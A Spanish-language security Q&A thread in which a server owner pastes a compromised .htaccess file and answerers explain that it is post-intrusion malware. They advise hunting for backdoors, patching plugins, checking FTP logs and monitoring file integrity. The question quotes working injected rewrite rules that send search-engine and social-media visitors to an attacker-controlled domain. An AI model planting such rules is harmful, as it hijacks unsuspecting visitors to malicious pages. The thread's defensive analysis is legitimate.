¿Proteger contra ataques que modifiquen .htaccess?

Navega tus respuestas
2

Tengo un servidor dedicado. No hay código / sitio en vivo ahora, solo una página próximamente. Hace unos minutos me di cuenta de que alguien había cambiado el archivo .htaccess.

¿Cómo puedo protegerme contra ese tipo de ataque?

El nuevo htaccess contiene estas líneas: 

<IfModule prefork.c>
RewriteEngine On
RewriteCond %{REQUEST_METHOD}   ^GET$
RewriteCond %{HTTP_REFERER}     ^(http\:\/\/)?([^\/\?]*\.)?(tweet|twit|linkedin|instagram|facebook\.|myspace\.|bebo\.).*$ [NC,OR]
RewriteCond %{HTTP_REFERER}     ^(http\:\/\/)?([^\/\?]*\.)?(hi5\.|blogspot\.|friendfeed\.|friendster\.|google\.).*$ [NC,OR]
RewriteCond %{HTTP_REFERER}     ^(http\:\/\/)?([^\/\?]*\.)?(yahoo\.|bing\.|msn\.|ask\.|excite\.|altavista\.|netscape\.).*$ [NC,OR]
RewriteCond %{HTTP_REFERER}     ^(http\:\/\/)?([^\/\?]*\.)?(aol\.|hotbot\.|goto\.|infoseek\.|mamma\.|alltheweb\.).*$ [NC,OR]
RewriteCond %{HTTP_REFERER}     ^(http\:\/\/)?([^\/\?]*\.)?(lycos\.|metacrawler\.|mail\.|pinterest|instagram).*$   [NC]
RewriteCond %{HTTP_REFERER}     !^.*(imgres).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(bing|Accoona|Ace\sExplorer|Amfibi|Amiga\sOS|apache|appie|AppleSyndication).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Archive|Argus|Ask\sJeeves|asterias|Atrenko\sNews|BeOS|BigBlogZoo).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Biz360|Blaiz|Bloglines|BlogPulse|BlogSearch|BlogsLive|BlogsSay|blogWatcher).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Bookmark|bot|CE\-Preload|CFNetwork|cococ|Combine|Crawl|curl|Danger\shiptop).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Diagnostics|DTAAgent|EmeraldShield|endo|Evaal|Everest\-Vulcan).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(exactseek|Feed|Fetch|findlinks|FreeBSD|Friendster|Fuck\sYou|Google).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Gregarius|HatenaScreenshot|heritrix|HolyCowDude|Honda\-Search|HP\-UX).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(HTML2JPG|HttpClient|httpunit|ichiro|iGetter|IRIX|Jakarta|JetBrains).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Krugle|Labrador|larbin|LeechGet|libwww|Liferea|LinkChecker).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(LinknSurf|Linux|LiveJournal|Lonopono|Lotus\-Notes|Lycos|Lynx|Mac\_PowerPC).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Mac\_PPC|Mac\s10|macDN|Mediapartners|Megite|MetaProducts).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Miva|Mobile|NetBSD|NetNewsWire|NetResearchServer|NewsAlloy|NewsFire).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(NewsGatorOnline|NewsMacPro|Nokia|NuSearch|Nutch|ObjectSearch|Octora).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(OmniExplorer|Omnipelagos|Onet|OpenBSD|OpenIntelligenceData|oreilly).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(os\=Mac|P900i|panscient|perl|PlayStation|POE\-Component|PrivacyFinder).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(psycheclone|Python|retriever|Rojo|RSS|SBIder|Scooter|Seeker|Series\s60).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(SharpReader|SiteBar|Slurp|Snoopy|Soap\sClient|Socialmarks|Sphere\sScout).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(spider|sproose|Rambler|Straw|subscriber|SunOS|Surfer|Syndic8).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Syntryx|TargetYourNews|Technorati|Thunderbird|Twiceler|urllib|Validator).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Vienna|voyager|W3C|Wavefire|webcollage|Webmaster|WebPatrol|wget|Win\s9x).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Win16|Win95|Win98|Windows\s95|Windows\s98|Windows\sCE|Windows\sNT\s4).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(WinHTTP|WinNT4|WordPress|WWWeasel|wwwster|yacy|Yahoo).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Yandex|Yeti|YouReadMe|Zhuaxia|ZyBorg).*$   [NC]
RewriteCond %{REQUEST_FILENAME} !.*jpg$|.*gif$|.*png|.*jpeg|.*mpg|.*avi|.*zip|.*gz|.*tar|.*ico$ [NC]
RewriteCond %{REMOTE_ADDR}      !^66\.249.*$ [NC]
RewriteCond %{REMOTE_ADDR}      !^74\.125.*$ [NC]
RewriteCond %{HTTP_COOKIE}      !^.*MuA.*$ [NC]
RewriteCond %{HTTP_USER_AGENT}  .*(Windows|Macintosh|iPad|iPhone|iPod|Android).* [NC]
RewriteCond %{HTTPS}            ^off$
RewriteRule .* - [E=MuA:%{TIME_SEC}]
RewriteRule .* - [E=YYP:avlasenko.prestigehonda.net]
RewriteCond %{ENV:MuA} 0
RewriteRule ^.* http://%{ENV:YYP}/openx/www/delivery/lg.php?bannerid=3613&campaignid=1349&zoneid=845&loc=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&referer=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&cb=3daf1514be  [R=302,NE,L,CO=MuA:%{ENV:MuA}:%{HTTP_HOST}:11598:/:0:HttpOnly]
RewriteCond %{ENV:MuA} 1
RewriteRule ^.* http://%{ENV:YYP}/tracker?event=media_connect_error&source=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&video_duration=128&domain=videocloud&playlist=1521712908001&video=1505115769001&platform=as3&time=1340351758343&errorCode=FMSConnectionError&flash_version=WIN\%2010\%2C1\%2C102\%2C64&embed=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&mediaURL=rtmp://brightcove.fcod.llnwd.net/a500/e1/uds/rtmp/ondemand/\%26mp4:89804535001/89804535001_1505158207001_acma02-alus-h264.mp4\%261340341200000\%26303e88e79ad49760dd42e3d253368813&account=89804535001&player_name=Direct\%20Lyrics\%20Sidebar\%20Playlist\%20Player(TEMP)&player=1522730664001&video_name=Top\%205\%20ACMA\%20Nominees\%202012  [R=302,NE,L,CO=MuA:%{ENV:MuA}:%{HTTP_HOST}:11468:/:0:HttpOnly]
....
more sites
....
</IfModule>
    
pregunta AlexCode 09.04.2013 - 21:30
fuente

5 respuestas

3

deberías echarle un vistazo a este artículo 10 Malware de clientes de FTP roba credenciales y este artículo Envenenamiento de imágenes de Google .

Este es un ataque conocido, documentado. Espero que esto ayude.

    
respondido por el Panos Kal. 10.04.2013 - 14:33
fuente
15

El .htaccess modificado no es parte del ataque; es algo que el atacante instaló después de haber tomado la máquina. La vulnerabilidad que el atacante explotó para secuestrar su máquina está en otra parte.

Dada la falta de información precisa, solo puedo dar un consejo genérico y riguroso: encuentre un administrador de sistemas que mantenga su máquina actualizada y realice una auditoría de código para descubrir posibles problemas en su sitio.

    
respondido por el Thomas Pornin 09.04.2013 - 21:42
fuente
2

Como mencionó Thomas, la cosa de htaccess es un síntoma, no una causa. Otros síntomas que podría querer buscar son los scripts de puerta trasera que el atacante seguramente instaló en su sitio web para permitirle mantener el control incluso después de corregir la vulnerabilidad inicial. En mi experiencia, los scripts de puerta trasera se instalan en más del 90% de las instancias de ataques a sitios web; esperar que varios estén presentes.

En cuanto a la vulnerabilidad inicial, si está ejecutando wordpress, joomla o algún otro marco común, verifique que esté al día con sus actualizaciones. Y, en particular, revisa tus temas y tus complementos. Cualquier código vulnerable que esté presente puede ser usado en su contra, incluso si no está "activado". Aproximadamente el 60% de los casos que veo ocurren debido a complementos sin parches.

También revise sus registros de FTP. En aproximadamente el 15% de los casos que veo, la contraseña de FTP del sitio se filtró y fue utilizada por el atacante para cargar contenido malicioso. Las contraseñas de FTP generalmente se filtran como resultado del malware en la estación de trabajo de un desarrollador. Obtiene un virus en su computadora, y el virus extrae todas las contraseñas guardadas de Dreamweaver, CuteFTP, etc., y las envía al atacante. Podría ser usted, o podría ser cualquier persona a la que le dio su contraseña; Normalmente, los diseñadores web de terceros son la fuente de la filtración. Puede evitarlo al (a) no dar su contraseña de FTP o (b) CAMBIAR su contraseña de FTP después de que alguien que la tiene ya no la necesite. Y, por supuesto, no guarde sus contraseñas en programas como FileZilla o Dreamweaver, ni permita que nadie más haga lo mismo.

    
respondido por el tylerl 10.04.2013 - 00:56
fuente
1

Si desea monitorear cuando los archivos cambian sin que usted lo haga a propósito, debe considerar el monitoreo de la integridad de los archivos, como Tripwire, etc. Luego, puede activar alertas cuando los archivos cambian, esto lo alertará de un ataque. Sin embargo, esto no evitará el ataque, especialmente si el atacante ha obtenido privilegios de root o al menos en su directorio web.

En la misma nota, también debe considerar ejecutar su servidor web en una cárcel (chroot) para limitar el acceso a otras partes de su servidor, si el ataque se originó en el nivel del servidor web y no en otra parte.

    
respondido por el Eric G 10.04.2013 - 01:43
fuente
0

Siempre recomiendo configurar AllowOverride None en servidores de producción y mantener las reglas de reescritura y otras configuraciones que necesite en el host virtual orr httpd.conf. Tener archivos htaccess habilitados es tanto un problema de rendimiento importante como una preocupación de seguridad aún mayor.

En este caso, no evitará que ocurra el ataque, pero evitará que el archivo htaccess tenga un impacto. Hasta que los atacantes comiencen a modificar sus archivos html / php. Cambiar su contraseña y buscar backdoors web en su sitio web es un buen lugar para comenzar.

    
respondido por el wireghoul 30.09.2014 - 01:54
fuente

Lea otras preguntas en las etiquetas

¿Cómo funcionan las reglas de un firewall para programas individuales? ¿A quién debo darle mi contraseña para [duplicar]